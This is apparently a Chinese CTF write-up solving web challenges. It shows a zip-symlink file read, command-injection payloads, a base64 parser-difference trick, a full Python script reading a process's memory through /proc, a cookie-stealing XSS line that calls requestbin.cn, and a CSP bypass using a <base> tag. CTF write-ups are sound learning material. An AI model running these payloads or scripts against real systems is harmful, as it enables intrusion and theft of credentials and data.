n1juniorCTF-web-WP

前言

web五题出了四题,大体难度适中,最后一道xss坐一天牢也没出,尽力了

online_unzipper

该题很快实现任意文件读取之后拿到key
打unzip软链接实现任意读
/proc/1/environ
key=#mu0cw9F#7bBCoF!
再之后可以控制zip_path打命令注入
拿到key之后可以伪造admin,可以实现

1
2
3
4
5
6
7
8
9
10
11
12
13
if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())

target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)

zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)

try:
os.system(f"unzip -o {zip_path} -d {target_dir}")

可以打命令注入

1
;`echo $(cat /flag-ChdT5OSKiNAjAgl4lI7m3EwRcfPuRGFR.txt) > /app/111`

然后软链接读

ping

看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import base64
import subprocess
import re
import ipaddress
import flask

def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False

if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

try:
process = subprocess.run(
command,
shell=True,
check=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
return False

app = flask.Flask(__name__)

@app.route('/ping', methods=['POST'])
def ping():
data = flask.request.json
ip_base64 = data.get('ip_base64')
if not ip_base64:
return flask.jsonify({'error': 'no ip'}), 400

result = run_ping(ip_base64)
if result:
return flask.jsonify({'success': True, 'output': result}), 200
else:
return flask.jsonify({'success': False}), 400

@app.route('/')
def index():
return flask.render_template('index.html')

app.run(host='0.0.0.0', port=5000)

这里利用的是二者的解析差异

1
2
base64.b64decode到=解码就停止了 
当使用 base64 -d 解码时,解码器会正确地处理这些填充符 =,遇到它们不会报错或停止,而是将其作为正常编码的一部分进行解析,完成解码后输出最终结果

最终就是
127.0.0.11->MTI3LjAuMC4xMQ==
cat /flag->O2NhdCAvZmxhZw==
合二为一

1
MTI3LjAuMC4xMQ==O2NhdCAvZmxhZw==即可



flag{bAse64_15_DIffER3N7_IN_LInUX_anD_pytH0N_iFrJf}

Peek a Fork

分为两步,一个实现任意文件读取,另一个实现内存读flag

实现任意读

看源码,发现黑名单

1
FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']

审码的时候发现这里有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'

offset = 0
length = -1

match = re.search(pattern, path)

if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())

clean_path = re.sub(pattern, b'', path)
filename = clean_path.strip(b'/').decode()
else:
filename = path.strip(b'/').decode()

即,匹配到?offset=(\d+)&length=(\d+)就会把这个删掉
本地测了一下能读flag.txt
/f?offset=0&length=100lag.txt
如何实现跨目录呢?我们就插多个

1
/.?offset=0&length=100.?offset=0&length=100/pro?offset=0&length=100c/self/environ

成功读取

从内存中读flag

比较把flag.txt删了,把flag存进内存里
我们如何利用呢?
源码中还有一个log
我们知道,子进程继承父进程的内存映射,包括包含flag的mmap
即利用间隙填充Log,那道含有flag的内存
关键看下面这个脚本
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import socket
import re

def exploit():
target_ip = '60.205.163.215'
target_port = 14831

# 第一步:创建长时间运行的子进程
print("[1] 创建长时间运行的子进程...")
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((target_ip, target_port))

# 发送长时间运行的请求
long_request = b"GET /?log=1&factor=10000000000000 HTTP/1.1\r\nHost: localhost\r\n\r\n"
s1.sendall(long_request)

# 等待一下确保子进程已经fork
import time
time.sleep(2)

# 第二步:获取进程状态
print("[2] 获取进程状态...")
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((target_ip, target_port))

# 使用绕过技巧获取status
status_request = b"GET /.?offset=0&length=500.?offset=0&length=500/pro?offset=0&length=500c/self/status HTTP/1.1\r\nHost: localhost\r\n\r\n"
s2.sendall(status_request)

status_response = b""
while True:
data = s2.recv(4096)
if not data:
break
status_response += data

s2.close()

# 解析PID
status_text = status_response.decode('utf-8', errors='ignore')
print("Status response:", status_text)

pid_match = re.search(r"Pid:\s*(\d+)", status_text)
if not pid_match:
print("未获取到PID")
return

pid = int(pid_match.group(1))+1
pid=str(pid)
print(f"当前子进程PID:{pid}")
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((target_ip, target_port))

# 发送长时间运行的请求
long_request = b"GET /?log=1&factor=10000000000000 HTTP/1.1\r\nHost: localhost\r\n\r\n"
s1.sendall(long_request)
# 第三步:获取maps文件
print("[3] 获取内存映射...")
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((target_ip, target_port))

maps_request = b"GET /.?offset=0&length=50000.?offset=0&length=500/pro?offset=0&length=500c/"+pid.encode('utf-8')+b"/maps HTTP/1.1\r\nHost: localhost\r\n\r\n"
print(maps_request)
s3.sendall(maps_request)

maps_response = b""
while True:
data = s3.recv(4096)
if not data:
break
maps_response += data

s3.close()

maps_text = maps_response.decode('utf-8', errors='ignore')
print("Maps response:", maps_text)

# 查找匿名内存区域(mmap创建的)
mem_pattern = re.compile(r"([0-9a-f]+)-([0-9a-f]+)\s+rw-s", re.MULTILINE)
matches = mem_pattern.findall(maps_text)

if not matches:
print("未找到匿名内存区域,尝试其他模式...")
# 尝试其他模式
mem_pattern2 = re.compile(r"([0-9a-f]+)-([0-9a-f]+)\s+rw-p", re.MULTILINE)
matches = mem_pattern2.findall(maps_text)

if not matches:
print("未找到任何内存区域")
return

# 取第一个匹配的区域
start_hex, end_hex = matches[0]
start_offset = int(start_hex, 16)
end_offset = int(end_hex, 16)
read_length = min(100, end_offset - start_offset) # 只读前100字节

start_offset=(str(start_offset)).encode('utf-8')
read_length=(str(read_length)).encode('utf-8')

print(f"找到内存区域:{start_hex}-{end_hex},读取偏移:{start_offset},长度:{read_length}")
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((target_ip, target_port))

# 发送长时间运行的请求
long_request = b"GET /?log=1&factor=10000000000000 HTTP/1.1\r\nHost: localhost\r\n\r\n"
s1.sendall(long_request)
# 第四步:读取内存内容
print("[4] 读取内存内容...")
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s4.connect((target_ip, target_port))

mem_request = b"GET /.?offset="+start_offset+b"&length="+read_length+b".?offset=0&length=500/pro?offset=0&length=500c/"+pid.encode('utf-8')+b"/mem HTTP/1.1\r\nHost: localhost\r\n\r\n"
s4.sendall(mem_request)

mem_response = b""
while True:
data = s4.recv(4096)
if not data:
break
mem_response += data

s4.close()

# 提取flag
mem_text = mem_response.decode('utf-8', errors='ignore')
print("内存内容:", repr(mem_text))

# 查找flag
flag_match = re.search(r"flag\{[^}]+\}", mem_text)
if flag_match:
print(f"🎉 成功获取flag:{flag_match.group()}")
else:
print("未找到flag,尝试其他偏移...")
# 可以尝试其他偏移量

if __name__ == "__main__":
exploit()

即,先读取/proc/self/status,获取pid,再读取/proc/[pid]/maps,获取flag内存映射,最后读取/proc/[pid]/mem,前者获得偏移,即可获取flag
最后也是拿到flag

flag{7c54a0ae-4d0b-4aba-87ca-770fb076d625}

Unfinished

缓存投毒+xss
看nginx配置文件可以发现,被禁了/api/bio/<username>
我们换成1.js这种文件名就行了
即注册进去,改个bio(注意只有第一次生效)
然后/api/bio/1.js直接可以xss
而且缓存投毒,也绕过了鉴权
即这样也绕过了bot的限制,毕竟它的session是admin,一般来讲读不了其他用户的bio
外带即可

1
2
<script>fetch("http://requestbin.cn:80/13ddlbv1?flag="+document.cookie);</script>
flag{yOU_F1n15HeD_Th3_unFInisH3D_cHalLen93_Jynh5}

safenotes

分析

赛中不太会,对于xss的理解一直不太够,其实想来题目糅合的东西不多,主要是CSP的baseurl绕过,我们简单复现一下
该题可以用编码绕过/preview

1
\u003cscript\u003ealert(1)\u003c/scirpt\u003e

本地没csp试了可以打xss

如何绕过CSP呢?

关注一下baseurl实现

当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径

1
2
3
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>

当出现相对路径的时候无论是文件还是路由,我们都可以在可行的时候利用这个方法,实现绕过
比如,题目当前有跳转/preview
我们设置当前的baseurl,然后bot访问时会自动跳转
即,现在只要在vps上开个服务将即可
我以为/prview会自动到vps上执行任意js代码,实际发现并无任何交互,这里应该是xss是在innerHTML上,不影响其上的<scipt> src="/preview"
就不太懂了,网上能找到的WP这一步直接跨过去了,就不太懂了

到此为止吧,题目都很简单,这道没出是自己太菜了。